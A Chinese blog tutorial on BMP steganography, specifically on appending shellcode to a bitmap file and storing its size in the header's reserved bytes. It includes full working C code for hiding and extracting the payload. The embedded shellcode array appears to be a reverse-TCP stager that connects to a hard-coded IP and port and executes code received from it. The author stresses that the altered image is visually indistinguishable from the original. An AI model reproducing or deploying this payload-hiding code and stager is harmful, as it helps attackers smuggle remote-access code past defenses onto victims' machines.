BMP位图隐写

前言

  本章介绍下bmp的隐写,相比lsb隐写,bmp简单的多,并且达到了无损隐写。

BMP文件格式

  所有BMP文件都是以42 4D这两个字节开头,必须为BM,表示bmp的格式

  

  再往后,这4字节,表示bmp文件大小。0x192EE = 103150(字节)

  

  再往后,这4个00是保留位,没有任何意义。

  

  这4字节,表示像素的偏移位置。36 00 00 00 = 0x36 = 十进制的54

  也就是说,第54个字节开始就是表示像素了。1f 12 13 ….到文件末尾都是存储的像素信息

  

加解密

  我没有用网上的直接将shellcode内容覆盖进像素位,这样会导致bmp失真。

  加密流程

保留位写入shellcode大小
给bmp末尾,增加size个空间  size=shellcode大小
将shellcode写入bmp的末尾

  解密流程

从保留位中获取shellcode大小
从加密后的bmp,获取size个空间 size=shellcode大小

  示例代码

#include <stdio.h>
#include <Windows.h>

// 获取文件内容
char* GetFileContent(char* fileName,DWORD * size)
{
	// 获取文件句柄
	HANDLE hFile = CreateFile(fileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (!hFile)
		return NULL;

	// 获取文件大小
	*size = GetFileSize(hFile, NULL);
	if (*size == INVALID_FILE_SIZE)
		return NULL;

	// 申请内存空间
	char* buffer = (char*)malloc(sizeof(char) * (*size));
	if (!buffer)
		return NULL;

	ZeroMemory(buffer, *size);

	// 读取文件内容
	if (!ReadFile(hFile, buffer, *size, 0, NULL))
	{
		free(buffer);
		return NULL;
	}

	CloseHandle(hFile);
	return buffer;
}

// 保存bmp文件
void SaveFile(char* fileName, char * buffer,int size)
{
	HANDLE hFile = CreateFile(fileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (!hFile)
		return;

	// 写入文件内容
	SetFilePointer(hFile, 0, 0, FILE_BEGIN);
	WriteFile(hFile, buffer, size, 0, NULL);

	CloseHandle(hFile);
}

// 隐写shellcode
void Encrypt(char bmpFile[],unsigned char shellcode[],char savePath[],int secretSize)
{	
	// bpm文件大小
	DWORD bmpSize = 0;
	// 获取bmp图片内容
	char* bmpBuffer = GetFileContent(bmpFile, &bmpSize);
	if (!bmpBuffer)
		return;

	// 申请新的空间大小 = bmpSize + secretSize
	char* newBuffer = (char*)realloc(bmpBuffer,bmpSize + secretSize);
	if (!newBuffer)
		return;
	
	bmpBuffer = newBuffer;

	// 保留位 写入shellcode大小
	*(DWORD*)(&bmpBuffer[6]) = secretSize;
	// 文件末尾写入shellcode内容
	memcpy(bmpBuffer + bmpSize, shellcode, secretSize);

	SaveFile(savePath, bmpBuffer, bmpSize + secretSize);
	free(bmpBuffer);
}

// 解密shellcode
char * Decrypt(char bmpFile[],int * size)
{
	int temp;
	// 获取bmp图片内容
	char* bmpBuffer = GetFileContent(bmpFile, &temp);
	if (!bmpBuffer)
		return NULL;

	// 获取bmp文件大小
	DWORD * bmpSize = (DWORD*)(&bmpBuffer[2]);
	// 获取shellcode大小
	DWORD* codeSize = (DWORD*)(&bmpBuffer[6]);
	*size = *codeSize;
	
	unsigned char* shellcode = (unsigned char*)malloc(sizeof(unsigned char) * (*size));
	if (!shellcode)
		return NULL;
	
	// 获取shellcode内容
	memcpy(shellcode, bmpBuffer + (*bmpSize), (*size));
	return shellcode;
}

int main()
{
	unsigned char shellcode[] = 
		"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x48\x31\xd2\x56\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0"
		"\x66\x81\x78\x18\x0b\x02\x41\x51\x0f\x85\x72\x00\x00\x00\x8b"
		"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x44"
		"\x8b\x40\x20\x8b\x48\x18\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
		"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\x41\xc1\xc9"
		"\x0d\xac\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
		"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
		"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
		"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
		"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
		"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
		"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
		"\x49\xbc\x02\x00\x11\x5c\x0a\x10\x7a\x11\x41\x54\x49\x89\xe4"
		"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
		"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
		"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
		"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
		"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
		"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
		"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
		"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
		"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
		"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
		"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
		"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
		"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
		"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
		"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
		"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
		"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
	int size = sizeof(shellcode) - 1;
	printf("shellcode size=%d\n", size);

	// bmp路径
	char bmpPath[] = "C:\\Users\\Lion\\Desktop\\1.bmp";
	// 加密后文件路径
	char savePath[] = "C:\\Users\\Lion\\Desktop\\2.bmp";
	// 隐写
	Encrypt(bmpPath, shellcode, savePath, size);
	printf("Encrypt file to %s\n", savePath);

	// 解密
	int decrypSize = 0;
	unsigned char* buffer = Decrypt(savePath, &decrypSize);
	if (!buffer)
		return;

	printf("\nDecrypt shellcode:\n");
	for (int i = 0; i < decrypSize; i++)
	{
		printf("\\x%02X", buffer[i]);
	}
	
	free(buffer);
	return 0;
}

  左边是加密前的数据 右边是加密后的数据
  

效果

  原图保存 隐写前

  

  原图保存 隐写后

  

  你可以下载到本地,用放大镜查看。相信我,你找不出任何的区别,我使用的是无损隐写。

查看评论 -
评论